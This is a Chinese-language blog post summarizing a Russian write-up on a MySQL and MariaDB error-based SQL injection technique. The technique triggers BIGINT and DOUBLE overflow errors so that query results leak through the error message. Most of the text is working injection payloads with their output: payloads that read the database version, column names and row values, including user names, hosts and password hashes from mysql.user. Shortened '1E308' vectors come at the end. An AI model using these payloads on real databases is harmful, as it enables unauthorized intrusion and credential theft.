新型Mysql报错注入下载

原文是俄文，不好做翻译，附上大概的内容：

这种报错注入主要基于Mysql数据类型溢出

mysql > SELECT 18446744073709551610 * 2 ;
ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ;
ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(- (1) * 9223372036854775808)'

查询数据库版本：

mysql> SELECT * 2 (if ((SELECT * from (SELECT (version ()) ) s), 18446744073709551610, 18446744073709551610));
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if (( Select ' 5.5 'from Dual), 18446744073709551610.18446744073709551610))'

获取字段名称：

mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from test.shop limit 1), 18446744073709551610, 18446744073709551610);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select `article`,`dealer`,`price` from (select `test`.`shop`.`article` AS `article`,`test`.`shop`.`dealer` AS `dealer`,`test`.`shop`.`price` AS `price` from `test`.`shop`) limit 1) > (select `test`.`shop`.`article`,`test`.`shop`.`dealer`,`test`.`shop`.`price` from `test`.`shop` limit 1)),18446744073709551610,18446744073709551610))'
// Узнаем имена колонок в таблице

获取字段值：

mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1) < (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2), 18446744073709551610, 18446744073709551610);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select 'localhost','root','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','','0','0','0','0','','' from dual limit 1) < (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),18446744073709551610,18446744073709551610))'

需要注意的是该方法并不适用于于老版的Mysql，除此之外你还需要了解错误信息的长度限制，因为这将决定你可以获取多长的信息：

mysys / my_error.c
/* Max length of a error message. Should be kept in sync with MYSQL_ERRMSG_SIZE. */
#define ERRMSGSIZE (512)

如果对象是MariaDB（Mysql的一个分支），当你尝试上面的方法时，你可能会看到这样的报错信息：

mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610))
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if((select #),18446744073709551610,18446744073709551610))'

作为解决方案，可以通过这种方式来解决这个问题：

mysql> SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a;
ERROR 1690 (22003): BIGINT value is out of range in '(('5.5-MariaDB' is not null) - -(9223372036854775808))'

现在让我们看看能不能让我们的Vector更短一些

//查询数据库版本

SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610))
=
select 1E308*if((select*from(select version())x),2,2)

//获取表字段名称

SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from test.shop limit 1), 18446744073709551610, 18446744073709551610)
=
select 1E308*if((select*from(select*from mysql.user)``limit 1)>(select*from mysql.user limit 1),2,2)

//获取字段值

SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1) < (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2), 18446744073709551610, 18446744073709551610)
=
select 1E308*if((select*from(select*from mysql.user LIMIT 1)``limit 1)<(select*from mysql.user limit 0),2,2)

//获取指定字段的值

select 1E308*if((select user||host||password||file_priv from(select*from mysql.user LIMIT 1)a limit 1),2,2)